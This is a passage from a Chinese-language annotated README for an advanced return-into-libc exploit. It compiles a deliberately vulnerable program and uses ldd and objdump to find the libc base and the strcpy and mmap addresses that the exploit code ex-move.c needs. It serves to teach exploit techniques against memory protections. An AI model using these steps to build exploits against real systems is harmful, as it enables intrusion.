高级返回库函数Exploit代码实现(下)

9附件:README.code

　　< >代码注解

　　准备好有缺陷的程序，进行编译。

　　$ gcc -o vuln.omit -fomit-frame-pointer vuln.c

　　$ gcc -o vuln vuln.c

　　$ gcc -o pax pax.c

　　I. ex-move.c

　　~~~~~~~~~~~~

　　ex-move.c代码的前面部分预定义了一些象LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES 的常数，你可以根据系统的环境进行调整，注意：MMAP_START 不能改变

　　下面，我们来获得这些我们需要的在代码中预定义的常数。

　　1）LIBC

　　[nergal@behemoth pax]$ ldd ./vuln.omit（*通过ldd,我们可以获得有缺陷函数vuln.omit调用的库函数及其地址）

　　libc.so.6 => /lib/libc.so.6 (0x4001e000) /lib/ld-linux.so.2 (0x40000000)

　　2) STRCPY

　　[nergal@behemoth pax]$ objdump -T vuln.omit（*通过objdump的参数-T,我们可以得到vuln.omit的动态符号表( DST)

　　vuln.omit: file format elf32-i386（显示文件格式）

　　动态符号表:

　　08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info

　　08048358 DF *UND* 0000010c GLIBC_2.0 getenv

　　08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info

　　08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main

　　08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize

　　08048530 g DO .rodata 00000004 Base _IO_stdin_used

　　00000000 w D *UND* 00000000 __gmon_start__

　　08048398 DF *UND* 00000030 GLIBC_2.0 strcpy

　　~~~~~~~~（得到调用strcpy函数的地址）

　　3) MMAP

　　[nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap（*从库函数DST中找到mmap地址）

　　000daf10 w DF .text 0000003a GLIBC_2.0 mmap